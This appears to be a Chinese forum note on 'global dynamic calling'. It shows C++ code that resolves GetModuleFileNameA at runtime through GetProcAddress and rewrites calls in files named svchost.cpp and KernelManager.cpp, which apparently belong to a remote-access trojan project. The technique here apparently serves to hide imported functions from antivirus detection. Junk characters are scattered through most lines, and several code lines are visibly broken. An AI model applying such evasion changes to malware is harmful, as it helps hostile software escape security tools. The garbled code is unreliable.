[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
# S; {) g* X& c0 }svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h3 m+ T( F# h( }# O+ P; u
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DTDY.h：4 P6 c# J( [4 _

2 y0 @! R* ]* a& e0 Y#if _MSC_VER>1000
9 W! Y, G7 S* z5 K" |) ~#pragma once; ^" L5 @; \0 X, l9 ]7 u+ V' ^
#endif //_MSC_VER>10004 H3 b1 d  N$ U
#include<windows.h>
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);1 ^, B; J+ s0 R% N1 ^
class DTDY
) ]2 k0 Z6 b$ W) C{
4 ]. _" J0 X* r, k+ U' kpublic:1 e! Y' B: @3 S- w7 m* W+ S: D
DTDY();+ c1 D' W) j* `( K
virtual ~DTDY();
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static pGetModuleFileNameA MyGetModuleFileName;4 o1 P+ \* D5 J8 C$ R( v; [
static BOOL FunInitiallization();/ z0 t5 s, Y* B% w5 C( z: \
};# j3 g* o, F+ L- g) v
#endif2 M# b' v+ }! N# m( F  {5 Q
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5 e0 z3 \  s8 N, e; qDTDY.cpp:0 m, P4 q+ ^- v5 }$ T  D, Y
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#include "DTDY.h"
; w. o- ]) E. ]" k. g0 D& ^  ZpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ @- X. }1 d6 x! k+ y; NDTDY:TDY(): T5 b* c6 ]5 q% E5 J
{
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5 E6 q& r3 q) j2 P; M1 QDTDY::~DTDY()
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BOOL DTDY::FunInitiallization(), Z4 x1 h5 G* [
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HMODULE hModule=LoadLibrary("kernel32.dll");
5 Z5 l" I% y/ ]3 B# E& I/ sMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");2 ^/ B9 B) P% Z) p$ z+ ]5 K
if(!MyGetModuleFileName=) return FALSE;
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return TRUE;6 m) E# ~- i' d( x
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svchost.cpp:
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) x* [0 v0 Y0 |' y#include "DTDY.h"
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
" u) Z6 |1 O: A0 K! s( z{
! c/ C' B! e. b2 V% o! iswitch(ul_reason_for_call)5 _8 f$ O, {1 o, ?" Z# h
{  E2 _- I% f5 D9 i7 z
case DLL_PROCESS_ATTACH:
9 t+ U( K, h! D4 x) \5 h+ i% zif(!DTDY::FunInitiallization()) return FALSE;
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break;
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}
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
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DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# V! {5 l( u6 P2 H
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KernelManager.cpp:
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#include "../DTDY.h"
# k- `/ _& |7 O4 N( q. r" KGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));4 P8 P9 a/ V. |# |5 [/ x" V9 l
改写为4 S6 J1 o' I. F: S$ K
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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